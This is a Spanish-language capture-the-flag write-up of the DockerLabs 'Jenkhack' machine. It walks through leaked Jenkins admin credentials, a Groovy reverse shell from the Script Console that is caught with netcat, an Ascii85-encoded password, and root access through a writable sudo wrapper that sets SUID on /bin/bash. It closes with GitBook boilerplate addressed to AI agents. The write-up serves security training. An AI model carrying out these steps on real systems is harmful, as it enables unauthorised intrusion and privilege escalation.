> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/dockerlabs/facil/jenkhack.md).

# Jenkhack

## Introduccion

En esta maquina de DockerLabs se compromete un entorno Linux con Apache y Jenkins expuestos.

La ruta empieza con enumeracion web sobre el virtual host `jenkhack.hl`. En el codigo fuente aparecen pistas ocultas que permiten acceder al panel de Jenkins como administrador. Desde la `Script Console` se ejecuta una reverse shell Groovy para obtener una shell como el usuario `jenkins`.

Despues, una nota en `/var/www/jenkhack` contiene una password codificada en Ascii85 para el usuario `jenkhack`. La escalada final llega por una regla de `sudo` sobre `/usr/local/bin/bash`, un wrapper que ejecuta `/opt/bash.sh`; modificando ese script se asigna SUID a `/bin/bash` y se obtiene una shell como `root`.

***

## Reconocimiento

Se realiza un escaneo completo con Nmap:

```bash
nmap -sVCS -Pn -n -p- 172.17.0.2
```

<div align="center"><img src="/files/7aKrs2mYaxnB7EjEm5W2" alt="Escaneo Nmap"></div>

Puertos abiertos:

| Puerto   | Servicio | Version                    |
| -------- | -------- | -------------------------- |
| 80/tcp   | HTTP     | Apache httpd 2.4.58 Ubuntu |
| 443/tcp  | HTTPS    | Jetty 10.0.13              |
| 8080/tcp | HTTP     | Jetty 10.0.13              |

El titulo del servicio HTTP apunta al dominio:

```
Hacker Nexus - jenkhack.hl
```

Se anade el virtual host al archivo `/etc/hosts`:

```bash
172.17.0.2 jenkhack.hl
```

***

## Pistas en la web

Revisando el codigo fuente de la web principal aparecen valores ocultos dentro de etiquetas `span`:

<div align="center"><img src="/files/MmxTVql0Bm9nlhUPvoaK" alt="Pistas ocultas en el HTML"></div>

Las cadenas interesantes son:

```
jenkins-admin
cassandra
```

Probando estas pistas contra Jenkins se consigue acceder al panel como administrador:

```
jenkins-admin:cassandra
```

<div align="center"><img src="/files/natQrAhxK5NJAHuUQL1R" alt="Panel de Jenkins"></div>

***

## Script Console

Con permisos de administrador, se accede a:

```
Manage Jenkins -> Script Console
```

<div align="center"><img src="/files/Fnv0h2AYyRJHJs1g8lFs" alt="Jenkins Script Console"></div>

Se prepara una reverse shell en Groovy hacia la maquina atacante:

```
172.17.0.1:4444
```

<div align="center"><img src="/files/0IGLO5e1Y2sNPvtlSbOT" alt="Reverse shell Groovy"></div>

Se pega el payload en la consola y se ejecuta:

<div align="center"><img src="/files/PoHljVd67IUVq009uOzM" alt="Payload Groovy en Jenkins"></div>

Con un listener en el puerto `4444` se recibe la shell:

```bash
nc -lvnp 4444
```

<div align="center"><img src="/files/jfcOLcYki7eCUQOR5ro8" alt="Shell como jenkins"></div>

El usuario obtenido es:

```
jenkins
```

***

## Credenciales locales

Enumerando el directorio web se encuentra una nota:

```bash
cd /var/www/jenkhack
cat note.txt
```

<div align="center"><img src="/files/wpQ9nigEIMUJxAEXURC6" alt="Nota con credencial codificada"></div>

Contenido de la nota:

```
jenkhack:C1V9uB18!'Ci*`uDfP
```

Al probarla directamente con `su`, falla:

<div align="center"><img src="/files/ZCeUmwXYFwBW77d6dilN" alt="Password codificada fallida"></div>

La cadena esta codificada en Ascii85. Al decodificarla se obtiene:

```
jenkinselmejor
```

<div align="center"><img src="/files/03quKWQV0XxEeyzPrJcd" alt="Ascii85 decodificado"></div>

Con la password decodificada se cambia al usuario `jenkhack`:

```bash
su jenkhack
```

<div align="center"><img src="/files/sRgEXNTmRLp12U4C5hLK" alt="Shell como jenkhack"></div>

Credenciales validas:

```
jenkhack:jenkinselmejor
```

***

## Enumeracion de sudo

Se revisan permisos con `sudo -l`:

```bash
sudo -l
```

<div align="center"><img src="/files/RMBEIIS1V5PczRa3DnVO" alt="sudo -l como jenkhack"></div>

El usuario `jenkhack` puede ejecutar sin password:

```
/usr/local/bin/bash
```

Se analiza el binario con `strings`:

```bash
strings /usr/local/bin/bash
```

<div align="center"><img src="/files/ydQR1Zc2yAuZnpXjg35t" alt="strings del wrapper bash"></div>

El wrapper ejecuta este script:

```
/opt/bash.sh
```

***

## Escalada a root

Como `jenkhack`, se reemplaza el script `/opt/bash.sh`:

```bash
cd /opt
rm bash.sh
touch bash.sh
chmod +x bash.sh
```

<div align="center"><img src="/files/h7qKU87HWa7BTqmK4FqC" alt="Preparacion de bash.sh"></div>

El nuevo contenido del script asigna SUID a `/bin/bash`:

```bash
#!/bin/bash
chmod u+s /bin/bash
```

<div align="center"><img src="/files/oJYTsTsdWBvs0LwBJUtI" alt="Contenido de bash.sh"></div>

Se ejecuta el wrapper con `sudo`:

```bash
sudo /usr/local/bin/bash
```

Despues se lanza Bash conservando privilegios efectivos:

```bash
/bin/bash -p
whoami
```

<div align="center"><img src="/files/mj0J46Q7tGdI7dRUw2QU" alt="Root con bash -p"></div>

El resultado confirma la escalada:

```
root
```

***

## Resumen

La ruta completa queda asi:

1. Escaneo con Nmap para identificar Apache y Jenkins.
2. Uso del virtual host `jenkhack.hl`.
3. Revision de codigo fuente y extraccion de pistas ocultas.
4. Acceso a Jenkins con `jenkins-admin:cassandra`.
5. Ejecucion de reverse shell Groovy desde `Script Console`.
6. Shell inicial como `jenkins`.
7. Lectura de `/var/www/jenkhack/note.txt`.
8. Decodificacion Ascii85 de la password de `jenkhack`.
9. Movimiento lateral a `jenkhack`.
10. Enumeracion de `sudo` y descubrimiento de `/usr/local/bin/bash`.
11. Analisis del wrapper y deteccion de `/opt/bash.sh`.
12. Modificacion de `/opt/bash.sh` para asignar SUID a `/bin/bash`.
13. Ejecucion de `/bin/bash -p` y obtencion de shell como `root`.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/dockerlabs/facil/jenkhack.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
